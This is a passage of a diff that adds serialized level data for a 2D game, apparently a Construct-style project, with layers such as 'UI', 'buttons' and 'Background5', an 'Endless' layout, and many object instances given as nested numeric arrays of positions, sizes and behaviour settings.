+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1489,
+ 445,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6824,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3886.7119140625,
+ 829.690673828125,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6828,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 619227675411221,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 436215904032393,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -698,
+ -221,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 6829,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1269,
+ -269,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 6830,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 60,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 361,
+ 6831,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 189,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 362,
+ 6832,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740.5921630859375,
+ 416.3991088867188,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 363,
+ 6833,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402,
+ 62,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 6834,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 389,
+ -1,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 6835,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ 28,
+ 22,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 6836,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 120,
+ 25,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 6837,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 76,
+ 25,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 6838,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 873,
+ -73,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 6840,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ],
+ [
+ [
+ 401,
+ 442,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 6841,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 417,
+ 252.5,
+ 0,
+ 882,
+ 553,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 6842,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 762657508687818,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 701427895531522,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Endless",
+ 40000,
+ 934,
+ false,
+ "Endless",
+ 938630069987987,
+ [
+ [
+ "fondo",
+ 0,
+ 829269969224436,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -109,
+ 1,
+ 0,
+ 26257,
+ 934,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 163,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 576,
+ 94,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 4843,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 662694487313606,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -24,
+ -187,
+ 0,
+ 26160,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 4424,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 4832,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -20,
+ 414,
+ 0,
+ 40,
+ 832,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 4842,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -320,
+ 515,
+ 0,
+ 40,
+ 832,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 4849,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -451,
+ 819,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 454,
+ 4894,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 0
+ ],
+ [
+ 1,
+ 0,
+ 5,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17,
+ 429,
+ 0,
+ 481,
+ 156,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 1778,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 443,
+ 508,
+ 0,
+ 481,
+ 156,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 1784,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1615,
+ 676,
+ 0,
+ 276.3340148925781,
+ 89.62183380126953,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 1785,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3736,
+ 529,
+ 0,
+ 276.3340148925781,
+ 89.62183380126953,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 1786,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4534,
+ 491,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1792,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4628,
+ 466,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1817,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4832,
+ 468,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1821,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4242,
+ 495,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1828,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4237,
+ 470,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1829,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3832,
+ 264,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1832,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3252,
+ 411,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1833,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3505,
+ 348,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1834,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3690,
+ 535,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1835,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3861,
+ 541,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1842,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4025,
+ 505,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 1843,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2514,
+ 366,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1844,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2689,
+ 276,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1845,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2184,
+ 582,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1846,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2196,
+ 570,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1847,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1537,
+ 699,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1849,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1716,
+ 700,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1850,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2856,
+ 289,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1851,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3356,
+ 380,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 1852,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3025,
+ 309,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.05222109705209732,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 1853,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1867,
+ 665,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9995859265327454,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 1854,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 971,
+ 721,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1855,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 964,
+ 701,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1856,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 765,
+ 604,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1857,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 603,
+ 512,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1861,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 38,
+ 535,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1868,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 321,
+ 507,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1869,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 269,
+ 633,
+ 0,
+ 932,
+ 250,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1878,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 47,
+ 545,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1887,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 139,
+ 545,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1888,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 231,
+ 545,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1889,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 323,
+ 545,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1890,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 415,
+ 545,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1891,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 507,
+ 545,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1892,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 599,
+ 545,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1893,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 691,
+ 545,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1894,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 47,
+ 640,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1895,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 47,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 474,
+ 1896,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 139,
+ 640,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1897,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 875,
+ 1020,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 1898,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 783,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 474,
+ 1901,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 231,
+ 640,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1902,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 323,
+ 640,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1903,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 415,
+ 640,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1904,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 507,
+ 640,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1905,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 599,
+ 640,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1906,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 691,
+ 640,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1907,
+ [],
